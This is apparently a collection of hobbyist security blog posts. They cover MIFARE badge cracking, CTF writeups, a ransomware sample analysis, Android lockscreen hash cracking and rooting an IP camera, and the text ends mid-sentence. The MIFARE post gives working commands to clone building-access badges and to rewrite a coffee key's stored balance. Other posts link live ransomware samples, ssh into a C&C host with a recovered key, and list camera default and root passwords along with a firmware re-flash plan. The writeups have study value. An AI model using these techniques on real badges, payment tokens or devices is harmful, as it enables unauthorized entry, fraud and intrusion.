Résultat : Fail! Les outils mfoc et mfcuk ne marchaient pas/plus pour des cartes MIFARE Classic Plus 1K qui sont plus récentes.

En cette fin d'année 2017 j'ai décidé de ressortir les outils dont je dispose :

• Un lecteur NFC ACS ACR122u (40-50€ sur Amazon)
• Des badges avec le bloc 0 réinscriptible (environ 5€ les 10 avec frais de port sur internet)
• Différents badges de machines à café rechargeable par monnaie voir CB
• Différents badges d'accès d'immeubles

Reprenons les bases :

Le NFC (Near-Field Communication) est une technologie de communication sans-fil à courte portée et à haute fréquence, permettant l'échange d'informations entre des périphériques jusqu'à une distance d'environ 5 cm. Cette technologie est une extension de la norme ISO/CEI 14443 standardisant les cartes de proximité utilisant la radio-identification (RFID).

MIFARE est une des technologies de carte à puce sans contact les plus répandues dans le monde et est propriété de la société NXP. MIFARE est fondée sur l'un des standards de l'ISO 14443 de Type A fonctionnant à 13,56 MHz. La technologie est intégrée à la fois dans les cartes (avec une puce pour stocker les données reliée à une antenne pour les transmettre) et dans les lecteurs/encodeurs. Ces lecteurs sont fabriqués
par différents fabricants sur la base d'un composant fourni par la société NXP.

Il existe différents types de cartes a puce MIFARE, je vais parler ici de la carte MIFARE Classic 1k, qui est la plus connu.

La carte est composé de 16 secteurs (de 0 à 15), chaque secteur est découpé en 4 blocs de 16 octets, 1 bloc de sécurité qui protège l'accès aux 3 autres blocs de data avec 2 clefs de chiffrement différentes A et B et les droits d'accès correspondant. Il y a donc au total 768 octets de stockage (16secteurs x 3blocs x 16octets).

Chaque carte dispose d'un numéro de série ou CSN appelé UID de 32 bits qui n'est pas censé être modifiable. Celui-ci est pré-encodé sur le bloc 0 du secteur 0. Le reste du bloc 0 est souvent accompagné d'informations sur le fabriquant ou sur le porteur de la carte.

Récapitulatif sur le schéma :

Les cartes MIFARE Classic sont protégées par un algorithme de chiffrement propriétaire NXP : CRYPTO1, pour l'authentification et le chiffrement qui a été cassé en 2008.
La connaissance des clés de chiffrement est nécessaire au déchiffrement des données présentes sur la carte MIFARE. On ne peut donc lire ou écrire sur la carte MIFARE sans connaître les différentes clés A et B de chaque secteur.

Principe rapide du fonctionnement du NFC entre une carte et un lecteur :

1. Lorsque l'on approche une puce d'un lecteur, celle-ci est mise sous tension et répond à un message d'initialisation appelé ATR (Answer To reset) comprenant ses paramètres de communication et attend une commande du lecteur.
2. Le lecteur répond par un message REQA (REQuest command for type A) et la puce va répondre par un message ATQA (Answer To reQuest code for type A)
3. Le lecteur lit l'identifiant de la carte, son UID, pour dialoguer uniquement avec celle-ci par la suite et éviter les collisions et attend un SAK (Select AcKnowledge).
4. Le lecteur informe les autres puces à proximité, s'il y en a, qu'elles peuvent retourner dans leur état semi-passif.
5. la puce sélectionnée envoie une réponse ATS (Answer To Select) qui contient les caractéristiques de la carte.
6. S'en suit un échange de commande de la part du lecteur pour lire/écrire sur la puce.

Exemple : lecture du premier bloc d'une carte Mifare Classic 1k

1- Message d'authentification avec la clé A par défaut : cmd bloc clé uid
cmd = 0x60
bloc = 00
clé A = ff ff ff ff ff ff
UID = c0 ff ee 42
Send : 60 00 ff ff ff ff ff ff c0 ff ee 42

2- Message de lecture du bloc 0 : cmd bloc
cmd = 0x30
bloc = 00
Send : 30 00

3- Message de retour de la puce (bloc 0) :
Receive : c0 ff ee 42 de ad c0 ff ee de ad c1 a5 51 c0 00

Je ne vais pas lister l'ensemble des commandes mais vous pouvez les retrouver sur le pdf complet qui présente l'ensemble du fonctionnement MIFARE page 15 : MF1S50YYX_V1.pdf

En pratique :

Après avoir branché le lecteur pour vérifier que celui-ci est bien reconnu :

Installer les différents outils/lib qui nous seront nécessaires :

$ sudo apt-get install pcsc-tools pcscd libpcsclite-dev libpcsclite1 libusb-dev

Installation de libnfc :

$ wget http://dl.bintray.com/nfc-tools/sources/libnfc-1.7.1.tar.bz2 
$ tar xjf libnfc-1.7.1.tar.bz2 
$ cd libnfc-1.7.1/ 
$ ./configure --with-drivers=all 
$ make
$ sudo make install 
$ sudo ldconfig

Test du lecteur :

Test d'une carte Mifare :

Pour dumper le contenu d'une carte il faut utiliser les outils open source de la suite nfc-tool.

Installation de mfoc :

$ git clone https://github.com/nfc-tools/mfoc.git
$ cd mfoc
$ autoreconf -vis
$ ./configure
$ sudo make
$ sudo make install

Cependant je vous conseille pour la suite de l'installer par l’intermédiaire du tool miLazyCracker qui implémente la Hardnested Attack :

$ git clone https://github.com/ilumitr/miLazyCracker
$ cd miLazyCracker
$ ./miLazyCrackerFreshInstall.sh

Une fois ces outils installés on peut tenter de dumper une carte/badge NFC avec mfoc :

$ mfoc -O badge_a_copier.dmp

Si le badge dispose uniquement de clés A et B par défaut comme ffffffffffff, 000000000000, a0a1a2a3a4a5, b0b1b2b3b4b5... cela ne devrait pas poser de problème.

Pour ensuite cloner votre badge, c'est à dire écrire le dump complet obtenu sur un autre badge vous aurez besoin d'un badge avec le secteur 0 réinscriptible.

Il faut commencer par dumper le badge vierge pour aussi extraire ses clefs A et B pour ensuite avoir les autorisations d'écriture :

$ mfoc -O badge_vierge.dmp

Pour lancer la copie il faut placer le badge vierge sur le lecteur et utiliser l'outil nfc-mfclassic avec les options :

• W car nous écrivons aussi sur le secteur 0 ;
• A et B car nous utilisons les 2 clefs à chaque fois pour écrire sur chaque secteur, le dump à copier ainsi que le dump du badge vierge comprenant ses clefs A et B actuelles ;
• badgeacopier.dmp qui est le dump que nous voulons écrire sur le badge vierge ;
• badge_vierge.dmp qui est le dump du badge vierge (Ou le dump du badge sur lequel on veut écrire).

$ nfc-mfclassic W A B badge_a_copier.dmp badge_vierge.dmp

Si tout se passe bien vous devriez avoir le résultat suivant :

Vous voilà avec une copie parfaite de votre badge, pratique en cas de perte.

Cependant il arrive souvent (heureusement) que des badges d'accès ou de machines à café ne possèdent pas de clés par défaut sur tous les secteurs ! Dans ce cas mfoc va tenter une attaque appelée "nested attack" sur la librairie crapto1. Crapto1, sous licence GPL et disponible publiquement permet d'exploiter les faiblesses cryptographiques des cartes à base de puce sans contact RFID utilisant la technologie crypto1 MIFARE, l'attaque est basée sur ce papier de 2008.

Il existe aussi une autre attaque dite "Dark Side", par Nicolas Courtois, mise en place dans l'outil open source mfcuk. Il utilise aussi LIBNFC et CRAPTO1 pour exploiter les faiblesses de la technologie crypto1 MIFARE à la différence que cette attaque ne nécessite pas de connaitre une clé A ou B valide pour retrouver les autres.

Je m'étais arrêté ici l'année dernière mais j'ai récemment découvert une nouvelle attaque. Effectivement les attaques "Nested Attack" de mfoc et "Darkside Attack" de mfcuk ne fonctionnent plus sur les cartes à Puce de type MIFARE Plus SL1 qui ont fixé la vulnérabilité sur le "pseudorandom number generator" (PRNG) mais ces nouvelles cartes utilisent toujours CRYPTO1 !

Dans un papier de Carlo Meijer et Roel Verdult une nouvelle attaque "Nested attack" est décrite. Celle-ci requiert de connaître au moins une clé A ou B. Si j'ai bien compris l'attaque, celle-ci consiste à faire de très nombreuses tentatives d'authentification imbriquées, ce qui va permettre de collecter des nonces chiffrés uniques et permettre par cette fuite de réduire les possibilités de clés pour ensuite finir par bruteforcer la clé cherchée.

L'implémentation de cette attaque dans l'outil miLazyCracker date de début d'année 2017. Elle nécessite de patcher les versions de LibNFC de mfoc, d’où l’installation de mfoc par le script miLazyCrackerFreshInstall.sh .
Pour lancer directement l'attaque sur une carte dont on connait une clé A ou B (par défaut), il faut lancer l'outil libnfc_crypto1_crack qui se situe dans "miLazyCracker/crypto1_bs/"

Avec cette découverte, je me suis relancé dans les tentatives de dumps/clonages/modifications de différents tags NFC MIFARE dont je dispose et qui résistaient aux attaques de mfoc et mfcuk :

• 2 badges d'accès d'immeuble
• 1 badge et 1 clé de machine à café

Prenons par exemple le badge de machine à café. Je connais la clé A et B par défaut sur l'ensemble des secteurs sauf la clé B des secteurs 8,9,10,11,12,13 et 14 (par chance ici il s’avérera être la même clé sur les 7 secteurs). Je vais donc attaquer la clé B sur le secteur 8 et son premier bloc : le bloc 32 (8ème secteur x 4 blocs) en connaissant la clé A du même bloc.

Moins de 10 minutes plus tard dans ce cas la clé est tombée, cela peut prendre plusieurs heures.

Une fois qu'une clé est découverte on peut tenter de relancer mfoc avec cette clé en paramètre (option -k) :

On voit ici que notre clé ajoutée aux clés par défauts est directement détectée en tant que clé B sur les champs voulues. Les tests avec les 2 autres clefs par défauts suivantes permettent par la suite de déchiffrer l'ensemble des secteurs et de réaliser un dump complet du badge à café.

A partir de là, il est donc facile de dupliquer le badge à café et même de réécrire par-dessus. On pourrait donc remplir le badge à café de monnaie, le dumper et réécrire sur le badge ce dump après utilisation pour retrouver le montant initial total sans le recharger avec de la monnaie. Manipulation faite uniquement à titre expérimental évidement.

En étudiant différents dumps de ce badge à café avec différents soldes je n'ai pas réussi à trouver une quelconque routine, trop de valeurs différentes changent entre chaque dump. Il faudrait réussir à reverse le firmware du lecteur pour comprendre comment sont traitées/encodées/chiffrées les datas.

En testant l'attaque sur la clé à café (C'est aussi un badge/tag NFC mais avec une forme de clé) j'ai pu de la même façon récupérer 4 clés B qui me manquaient, cela a pris plus de temps (2 heures au total). La comparaison par la suite de plusieurs dumps fut bien plus fructueuse !

On voit très vite en faisant une comparaison de 2 dumps sous leur forme hexadécimal qu'une seule valeur a changé et encore mieux, cette valeur correspond en décimal à la somme présente sur la clé ! Il est donc possible en changeant cette valeur de faire varier la somme présente sur la clef... Ce qui est interdit, je le rappelle !

J'ai ensuite voulu tester qu'elle était le montant maximum qui pouvait être mis sur la clé. J'ai donc essayé de mettre la valeur hexadécimal 0xFFFF qui aurait du créditer le badge de 65535 centimes soit 655,35€. Mais lorsque j'ai mis en contact la clé sur le lecteur la nouvelle somme affichée n'était que de 40,95€ ce qui correspond a la valeur hexadécimal 0xFFF qui est donc la somme maximale possible sur la clé (11111111 1111xxxxxx en binaire).

Concernant les badges d'accès d'immeuble, le premier ne présentait que des clés par défaut et a pu donc être cloné directement avec mfoc mais celui si disposait de 2 technologies différentes, une partie MIFARE Classic 1k et une partie HID iCLASS qui nécessite du matériel différent (Proxmark3, lecteur/graveur HID pour être analysé/cloné. Le second badge correspondant à celui de mon immeuble a pu être cassé, dumpé et cloné grâce à la "Nested Attack" en 1 heure.

Si vous possédez un smartphone compatible NFC, il existe plusieurs applications comme MIFARE Classic Tool - MCT qui vous permettrons de dumper/réécrire sur vos différents badges MIFARE CLassic 1k. Il vous suffira de rentrer les clés A et B si vous les connaissez ou les avez cassé.

Pour aller plus loin et si on en a les moyens le proxmark3 semble être l'outil parfait, il supporte les fréquences 125kHz, 134kHz (HID Prox II, HITAG, EM4100) ainsi que les communications en 13,56Mhz (MIFARE Classic/Ultralight et iClass). D'ailleurs si quelqu'un en a un qui traîne...

Fap'ment,

++

In April at the STHACK security event in Bordeaux we have found a curious visit card from the Novidy's Group :

After scanning The QRCode with my smartphone I get this url : http://2uqcr3jdmdpru7xyf56hza3k3nquqv3ddhw4ow5hwgkpuvcfuasq.b32.i2p/

It's an I2P url ! What's I2P ?

'I2P is an anonymous overlay network - a network within a network. It is intended to protect communication from dragnet surveillance and monitoring by third parties such as ISPs. I2P is used by many people who care about their privacy: activists, oppressed people, journalists and whistleblowers, as well as the average person.
No network can be "perfectly anonymous". The continued goal of I2P is to make attacks more and more difficult to mount. Its anonymity will get stronger as the size of the network increases and with ongoing academic review.
I2P is available on desktops, embedded systems (like the Raspberry Pi) and Android phones. Help spread the word!'

Downloading and installing i2p : https://geti2p.net/en/download

For debian Jessie :

Create /etc/apt/sources.list.d/i2p.list and add the following lines :

deb https://deb.i2p2.de/ jessie main
deb-src https://deb.i2p2.de/ jessie main

launch these commands :

$ apt-key add i2p-debian-repo.key.asc

$ apt-get update

$ apt-get install i2p i2p-keyring

Finaly Launch I2P :

$ i2prouter start

After setting up a proxy to work with my browser for visiting the site throught I2P I get this image : obf.jpg

The page source give me more indications :

Nice ! It's a chall with nice prices :]

Step 1 :

So what can I do with this image ?

The Foremost tool extract a protected zip file with a password.

The password is on the picture, trying to guess it was a fail !
With gimp and the "Amelioration -> Désentrelacer" filter I can see the password : @p3nYoUr3ye5!

First step is done !

$ cat nice.txt
not so bad Dude!
email to validate this step is : O1SIy-1bZHo-sdbEJ-mUkh1-eLc49@novidys.com

Step 2

Now I have a dump file, it's a PCAP file of ICMP requests with datas encoded in hexadecimal.

The python script for recover the splitted datas :

#!/usr/bin/python

import dpkt

input = file("dump.pcap", "rb")

# We are going to extract all ICMP payloads and concatenate them in one file
output = open("output", "w")

pcap = dpkt.pcap.Reader(input)

for ts, buf in pcap:  
        eth=dpkt.ethernet.Ethernet(buf)
        ip=eth.data
        icmp=ip.data

# The parsed packets in the dpkt.pcap.Reader contains two members: "ts" and "buf".
# The member "ts" is just the timestamp which lived in the packet when captured 
# by Wireshark; it is the clock when captured this packet. The member "buf" holds 
# the real packet data captured by capture tool, it's the raw traffic data.

        if (ip.p==dpkt.ip.IP_PROTO_ICMP) and len(icmp.data.data) > 0 :
                    try:
                        #print icmp.data.data
                        output.write(icmp.data.data)
                    except:
                        print 'Error extracting ICMP payload data from this packet.'
                        #continue

input.close()  
output.close()  

The decoded output file in hexadecimal give me some base64 and finally a gz archive for finish the step 2 !

$ cat output | xxd -r -p | base64 -d > output_to_base64_to_gzip
$ tar -xvzf output_to_base64_to_gzip
my.img  
step.txt  
$ cat step.txt 
we need you to go deeper  
the email to validate this step is 5LH7w-rIOLh-fRjeG-vQKDj-osAKV@novidys.com  

Step 3 :

Next I have a file my.img

$ file my.img 
my.img: Linux rev 1.0 ext4 filesystem data, UUID=5308fb61-f662-4c0a-8caa-ba552c53cfab (needs journal recovery) (extents) (huge files)  

I can mount it :
$ sudo mount my.img /mnt/forensic

I obtain 250 files with this Russian text inside and the name of the files looks like base64 string.

$ cat 0ENeRnncw1xz9xXZnMsuWRnNaGR9SXmQ.txt
В рамках своей миссии по обеспечению информационной безопасности 
Агентство национальной безопасности уже давно участвует в 
исследовательском сообществе компьютерной безопасности в изучении 
широкого спектра вопросов безопасности компьютеров, включая безопасность 
операционной системы. Признавая критическую роль механизмов безопасности 
операционной системы в обеспечении безопасности на более высоких уровнях, 
исследователи из исследовательской группы NSA Trusted Systems Research, 
ранее являвшейся Национальной исследовательской лабораторией по исследованию 
информации, изучали архитектуру, которая может обеспечить необходимые 
функции безопасности таким образом, который может удовлетворить Потребности 
в безопасности широкого круга вычислительных сред.

In English with Google Translate :

As part of its mission to ensure information security The National Security Agency has long been involved in
Research community of computer security in the study
A wide range of computer security issues, including security
Operating system. Recognizing the critical role of security mechanisms
Operating system in providing security at higher levels,
Researchers from the research group NSA Trusted Systems Research,
Previously the National Research Laboratory for Research
Information, studied the architecture, which can provide the necessary
Security functions in a way that can satisfy the needs
A wide range of computing environments.

One file named secret.des3 have base64 inside :

$ cat forensic/secret.des3 | base64 -d > secret.des3.data

$ hexdump -C -n 16 secret.des3.data 
00000000  53 61 6c 74 65 64 5f 5f  d3 99 ee 14 5f 90 ca cf  |Salted__...._...|  

It's a salted DES3 file encrypted and we need a password for decryption : http://justsolve.archiveteam.org/wiki/OpenSSL_salted_format

I am looking for the password, after time lost to find something with the name of each file I returned to the basic strings command :

$ strings my.img | grep openssl
openssl des3 key H0t-p4T4toZz  

Decrypting the DES3 file :

$ cat secret.des3 | base64 -d > secret.des3.data
$ openssl des3 -d -in secret.des3.data -out secret.txt
enter des-ede3-cbc decryption password:

$ file secret.txt 
secret.txt: POSIX tar archive (GNU)  
$ mv secret.txt secret.gz
$ tar -xvwf secret.gz
extract « getTheFlag.b64 »?  
getTheFlag.b64  
extract « doc.txt »?  
doc.txt

$ cat doc.txt 
Hi Dude, happy to see you again, the validation email for this step is vCgPM-3t6J4-5ubAE-wk5Lh-6VnGs@novidys.com  

Step 4, final step :

I'm not a reverser so I need to ask for help from a friend, thanks to him !

1. Bypass the call ptrace in 0x400675
2. Watch the flow with hopper
3. Use angr

Import of the angr library :

$ python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)  
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.  
>>> import angr
WARNING | 2017-06-12 23:15:21,769 | claripy | Claripy is setting the recursion limit to 15000. If Python segfaults, I am sorry.  

Creation of the angr project disabling the auto loading of libraries :

>>> proj = angr.Project('./getTheFlag.bin',load_options={"auto_load_libs": False})

Buffer of 16 bytes :

>>> argv1 = angr.claripy.BVS("argv1",16*8)
>>> initial_state = proj.factory.path(args=["./getTheFlag.bin",argv1])
>>> pg = proj.factory.path_group(initial_state)

We want to reach the 0x0400954 address :

>>> pgs=pg.explore(find=0x0400954)  
WARNING | 2017-06-12 23:16:32,099 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.  
>>> pgs
<PathGroup with 15 deadended, 1 errored>  
>>> solution = pg.errored[0].state.se.any_str(argv1)
>>> print repr(solution)
'N0v1Dy5X0rK3y\x00\x00\x00'  

Nice, I try it as the key :

$ ./getTheFlag.bin N0v1Dy5X0rK3y
You did It Dude ;). It is the last step, the mail is fPlxy-gts4c-txMw9-OWnmP-WK3MX@novidys.com  

Done!!! I get the last email address !
Few days later I receive an email telling me that I am the first to have solved the challenge.

So I won the Pineapple (voucher for simplicity reasons), thanks again Novidys for the challenge !

\o/

Fap'ment,

++

• Le retour d'une variante de Locky : The Locky Ransomware is Back and Still Adding OSIRIS to Encrypted Files
• Le retour, ici, de Shade appelé aussi Troldesh qui avait fait parler de lui en fin d'année 2016 : Kelihos Botnet Delivering Shade (Troldesh) Ransomware with No_More_Ransom Extension

Analysons ce fameux SPAM dans une SandBox :

Il apparaît clairement que cet email est louche, émetteur inconnu, domaine trompeur : agence@photographegs.fr, français pire que le mien ;]

Il suffit de passer la souris sur le lien pour se rendre compte que celui-ci ne correspond pas à celui affiché.

Laissons nous avoir et suivons le lien, on nous propose directement de télécharger une archive : photos.zip :

Cette archive ne contient évidement aucune photo et à la place un script JavaScript : photos.24.04.2017.js

Le JS est obfusqué pour éviter d'être détecté par les Anti-Virus et leur base de signatures, ces scripts sont générés à la volé avec des variables différentes pour au final faire la même chose : télécharger le Ransomware.

Voici le Javascript Downloader (format raw) : https://ptpb.pw/20AF
Si vous voulez télécharger le zip, password "infected" : photos.24.04.2017.js.zip

Si nous exécutons ce script, celui-ci téléchargera donc la payload et l’exécutera dans la foulée. En regardant avec Wireshark on identifie rapidement les domaines contactées :

Ici khinkali.com.ua, letsencrypt.org, whatismyipaddress.com et whatsmyip.net

Le téléchargement se fait donc en HTTPS avec un certificat Let's Encrypt (Certificat SSL gratuit) !

Cette pratique est assez récente pour les Ransomwares de masse ! Elle permet de bypasser les Anti-Virus de Flux et les Sandboxs sur le réseau des entreprises. Seul le déchiffrement du flux SSL au niveau des proxy + Sandbox pourrait être efficace mais est-ce vraiment une bonne idée...

Je vous encourage à ce propos à lire l'article de Stéphane Bortzmeyer à ce sujet : Les conséquences techniques de l'interception HTTPS en entreprise

J'aimerai maintenant retrouver l'url de téléchargement exact du ransomware, il faut pour cela désobfusquer le downloader en JavaScript.

J'ai donc modifié le script en plaçant à différents endroits des commandes pour afficher la valeur de certaines variables : WScript.Echo(nom_variable)
Il était difficilement envisageable de désobfusquer l'ensemble du script de 1258 lignes...

je trouve donc 2 URLs de téléchargement différentes, je suppose que la seconde est utilisée si la première est injoignable ou est blacklistée.

Parfait, il est encore possible de télécharger le fichier exécutable, pour analyse, sur les 2 URLs :

Si vous voulez analyser de votre côté le Ransomware, password "infected" : photos_exe.zip

Inutile de vous rappeler qu'il ne faut pas le lancer sur votre propre machine ! Ne rigolez pas j'ai déjà vu ça...

Plus de 36h après la propagation de ce Ransomware, celui-ci n'est détecté que par 13 Anti-Virus sur 62 sur Virustotal... :

A croire que l'Anti-Virus Microsoft n'est pas si mauvais en termes de réactivité !

En laissant l'infection se dérouler, on voit dans Process Hacker que le Ransomware est lancé par un cmd :

Une fois le processus de chiffrement terminé, le script est supprimé, notre fond d'écran a changé ...

... nous invitant à lire le fichier README.txt ...

... qui accompagne chacun de nos fichiers qui sont maintenant chiffrés et possèdent tous un nom du style : zjODDd-fWUHcJ516nIVCVD6lx2spDxlOD4WIHP1MjZ8=.4DA9DF3B9A372BE8B55B.no_more_ransom

Les fichiers chiffrés possède tous l'extension .no_more_ransom
en rapport avec le projet de lutte contre les Ransomwares : https://www.nomoreransom.org/ qui avait réussi à déchiffrer les fichiers pris en otage par se Ransomware dans une de ces versions précédentes : ShadeDecryptor_how-to_guide.pdf

Je ne ferais pas de reverse du Ransomware ici, d'une parce que c'est un Ransomware comme les autres et que cela à déjà été fait et de deux parce que je suis très mauvais en reverse (surtout pour ça en fait :p).

J'ai cependant soumis le Downloader Javascript ainsi que le Ransomware sur des plateformes de sandboxing online que j'utilise régulièrement malwr et hybrid-analysis :

Javascript :

https://malwr.com/analysis/NTA3M...

https://www.hybrid-analysis.com/sample/34a9...

Ransomware :

https://malwr.com/analysis/YmE4Y...

https://www.hybrid-analysis.com/sample/88884....

Le Ransomware a donc un comportement similaire aux autres :

• SPAM avec Downloader obfusqué, ici en Javascript
• Exécution depuis le répertoire : C:\Users\XXX\AppData\Local\Temp
• Collecte les informations du système
• Suppression des Shadow Copies pour éviter la récupération des données
• Clé de registre pour se relancer au démarage de la machine
• Chiffrement des fichiers suivant la liste des extensions usuelles

Il n'existe pas pour le moment de moyen de récupération des données chiffrées.

Il ne faut évidement pas payer la rançon mais juste pour le fun je continue de suivre leurs indications et je tente d'envoyer un email à
l'adresse TerryfoWallace1987@gmail.com

Leur adresse est donc déjà connue et désactivée par Google \o/ . Je télécharge donc Tor sur la VM et je me rend sur leur page hxxp://cryptsen7fo43rr6.onion/ (captcha de ***** tout buggué)

Quelques minutes plus tard les échanges d'emails commencent...

Bien-sur je ne leur est pas envoyé ma carte bancaire mais c'était un peu trop gros cette fois et notre scameur "gay ferber" n'a pas mordu à l’hameçon :p

PS : je ne m'appelle pas non plus Bernie Noel ! (Foncez si vous n'avais pas vu le film Bernie.

Fap'ment,

++

I was at the STHACK 2017 event with conferences and CTF onsite in Bordeaux (Friday 7 April 9pm — Saturday 8 April 8 am) with ark1nar and ghozt, two members of our CTF team Beer4Flags and 2 other friends, NK and brendel. We finished at the 3rd place, few minutes before the end we was first but it's the game :].

Final scoreboard :

Here is a writeup of the forensic challenge : Fabulous Honeypot.

Task :

Here is the memory dump of our fabulous Honeypot, some thing seems to be wrong, can you find something strange in it?

https://s3.eu-central-1.amazonaws.com/sthatic/memdump.tar.bz2

We have a memory dump but the plugin imageinfo of volatility crashed so we have to determine the good profile and import it.

We knew that it's a Debian 7 Wheezy with the kernel Linux version 3.2.0-4-amd64.
So we used the profile LinuxDebian73x64 from the repo github.

We can now list the active processus :

I directly noticed the getdatas process, at this moment I can not dump its memory, I try all other commands of volatility for linux and some of them failed :[

I asked help to the creator, I didn't find anything at all after 4 hours stuck. Then, he released the good profile for volatility.

I imported the good profile :
$ sudo cp debian.zip /usr/local/lib/python2.7/dist-packages/volatility-2.5-py2.7.egg/volatility/plugins/overlays/linux/

At this moment I launched the dump of the entire filesystem with the plugin linux_recover_filesystem who success (nearly 15 minutes to finish) :

We had now the capacity to investigate the process file of getdatas :

It's a kernel module injected with modprobe !

I didn't find it on the filesystem so we had to dump this kernel module from the RAM with the plugin linux_moddump :

Analysing this kernel module on linux was a fail, so I asked help from brendel and his Windows Virtual Machine with IDA :

I commented the part that I decoded and we can see that the kernel module send data to his C&C with scp and a key on the filesytem !

So now we can try to connect to the C&C with the command :

$ ssh -i filesystem/bin/key toto@52.17.139.201

Nice ! It works and we have a password.gz file in our home.
We can't open it, we can't copy it, we can't download it...

Maybe there is suid right on a program to help us (privilege escalation habit) :

$ find / -user admin -perm -4000 -print 2>/dev/null

Wow gzcat !

/usr/bin/gzcat password.gz

\o/ We obtain the flag {My_F0r3nsic_ch4l1_R0ck5} ! It's a first blood so I won a gift voucher on Cdiscount :]

Nobody else flagged this chall so it was 2800pts for us ;].

Great challenge ! great CTF, thank you STHACK !

Fap'ment,

I present here a writeup of the forensic Android challenge : Secr3tMgr.

Task :

...Waiting for tasks release but I have a file Secr3tMgr_680932f10ed4bb347dec46bdd8a34de487df1d13.tar.bz2 and a clue that the password is in the format INS{XXXXX}...

I start by looking at the files I have :

By doing some research I find this great pdf Live_Memory_Forensics_on_Android_with_Volatility.pdf explaining how to create a profile in volatility :

With a bit of research I succeed :

From here, I can begin to study the dump with volatility, starting by listing the available plugins :

$ volatility -f i9100-CM.bin --profile=LinuxandroidARM -h

The goal is to retrieve the lockscreen password.

Maybe it's a simple schema we can retrieve from /data/system/gesture.key with this tool : androidpatternlock

It's a fail, the hash in gesture.key represent an empty string.

The file corresponding to the Android password is in the folder /data/system/password.key

I extract all the system files using the linux_recover_filesystem plugin and I look for the file password.key :

Searching on the internet I find that the hexadecimal string of 72 bytes corresponds to the concatenation of the sha1(password + salt) and the md5(password + salt):

sha1(password+salt)                       md5(password+salt)
A66A4A34A78AEC1A7058C8FA3BB3B0F1CC537DD0  42F0F3F909F87D0706DCF139AB37F86E

So, now I have to find the salt.
In this version of Android I can find it in the sqlite database locksettings.db :

Be carreful, if you try to format the output sqlite ( "sqlite> .mode col" and "sqlite> .headers on") the salt will be truncate and no longer valid.

Before trying to bruteforce the password I find the device password policy in the device_policies.xml file :

I know now that I have to find a password of 10 chars with 5 Uppercases, 2 lowercases, 1 numeric and 2 symbols.

I understand more than One hour later that it correspond to the INS{XXXXX} in the task presentation.

The last part is to brutefoce the 5 chars with the good mask.
For this I use hashcat and for rapidity reason I choose to attack the md5 hash. I concatenate the hash and the hexadecimal value of the decimal salt and I run hashcat with a custom charset :

hashcat command explication :

hashcat -m 10 -a 3 hash -1 ?l?u?d INS{?1?1?1?1?1}  
  -m 10 : hash type 10 = md5($pass.$salt) 
  -a 3 : bruteforce attack
  hash : file whithe the md5 hash + salt
  -1 ?l?u?d : custom charset with lowercase, Uppercase and decimal
  INS{?1?1?1?1?1} : I know the password format : INS{XXXXX}

\o/ I have the password/flag INS{t1MmY}, great challenge ! great contest, thank you Insomni'Hack !

Fap'ment,

Quelques jours avant la séance je me suis rappelé que quelques années auparavant j'avais acheté une Camera IP sur un site Chinois, DealeXtreme. Je ne l'ai presque jamais utilisé et je me suis dit qu'il pourrait être intéressant de l'analyser et pourquoi pas en faire un challenge.

La camera en question :

Une fois la caméra sortie de sa boite je trouve en dessous un "User Name" et un "Password".

Je décide de brancher la caméra en ethernet, Nmap me permet rapidement de la trouver sur le réseau et me remonte 3 ports ouverts : 23, 81 et 8600

Comme trop souvent sur les IoT le protocol Telnet est encore utilisé. J'essaye donc de me connecter dessus avec les identifiants de la caméra.
Fail! Les identifiants ne fonctionnent pas, j'essaye ensuite de bruteforcer le password root par défaut, sans succès...

J'essaye donc de voir ce que l'interface Web propose sur le port 81 :

Cette fois-ci, le login "admin" et le password "888888" fonctionnent pour se connecter sur l'interface d'administration de la caméra !

A ce stade je trouve la version du firmware 48.2.64.214 ainsi que d'autres informations concerant la caméra et sa configuration mais rien concernant l'accès en Telnet.

Sur la boite de la Camera IP des dessins indiquent la possibilité de télécharger une application Android : Eye4 pour contrôler la caméra. je décide donc de l'installer sur mon smartphone de test, caméra Chinoise et application Chinoise oblige ;].
L'application propose quasiment les mêmes fonctionnalités que l'interface Web, mais une fonctionnalité supplémentaire semble intéressante. Il est possible de mettre à jour le firmware depuis l'application :

Ayant déjà configuré pour d'autres tests mitmproxy (cf: article sur tinder) je peux facilement analyser les requêtes qui sont faites lorsque je clique sur la nouvelle version du firmware :

Dans la réponse je peux voir l'url de téléchargement du nouveau firmware 48.2.64.217 :

Dans un premier temps je veux analyser le firmware qui est installé de base sur la Camera IP, je modifie donc l'url en mettant 48.2.64.214 et je lance le téléchargement :

L'outil binwalk permet de rapidement analyser et extraire récursivement les fichiers du firmware :

Je liste ensuite les fichiers que nous obtenons :

En regardant chaque fichier, on voit que ipcam.sh est un script Shell qui lance les autres fichiers binaires, le plus intéressant est daemon.vstar.v13 qui semble contenir le password root du device :

Malheureusement la tentative de cassage du password, en ligne puis avec John, format DES crypt (8 chars + salt), s'avère infructueuse.

En cherchant sur internet sur des forums ou des utilisateurs demandent le password root de cette caméra, qui n'est volontairement pas donné par le constructeur (Qui a dit backdoor ?), je suis tombé sur un post ou le password 2010vesta est mentionné comme étant celui d'une autre caméra. A partir de là, mon deuxième test fût le bon, le password root de ma caméra est 2011vesta :

\o/ j'ai donc eu de la chance, mais imaginons que je ne trouve pas le password root, comment puis-je faire pour me connecter sur la caméra ?

Sur l'interface Web de la caméra une fonctionnalité dans "entretien" permet d'uploader soit même un firmware pour le mettre à jour :

Si j'arrive à modifier le password root dans le firmware récupéré et que je l'upload ensuite sur la Camera IP je devrais pouvoir me connecter dessus ! En cherchant sur internet je trouve comment procéder.

Je commence par analyser les 64 premiers bytes du firmware :

Les 32 premiers bytes semblent être un header propre au firmware, ensuite 4 bytes suivis du header d'un zip.

Le footer du fichier présente lui aussi 32 bytes particuliers :

Etant donnée la présence de la commande unzip dans les strings du fichier daemon.vstar.v13 il semble qu'il s'agisse bien d'un zip récursif classique. Il est donc possible de récupérer ce zip, le déziper , le modifier et le reziper puis rajouter le header et le footer !

Pour extraire correctement le zip, dd est l'outil parfait, le firmware possède un header de 32 bytes + 4 bytes et un footer de 32 bytes. La taille totale est de 306632 bytes.

Les commandes une fois lancées :

Le zip est bon et je retrouve tous les fichiers extraits plus tôt avec binwalk. Il faut modifier le password hashé dans le fichier daemon.vstar.v13.

je génère le nouveau hash du password :

$ python -c 'import crypt; print crypt.crypt("1337","le")' leKcWxk7577yg

Je veux donc remplacer cette ligne :

root:OYZVRABjiXqqQ:0:0:Adminstrator:/:/bin/sh

Par celle-là :

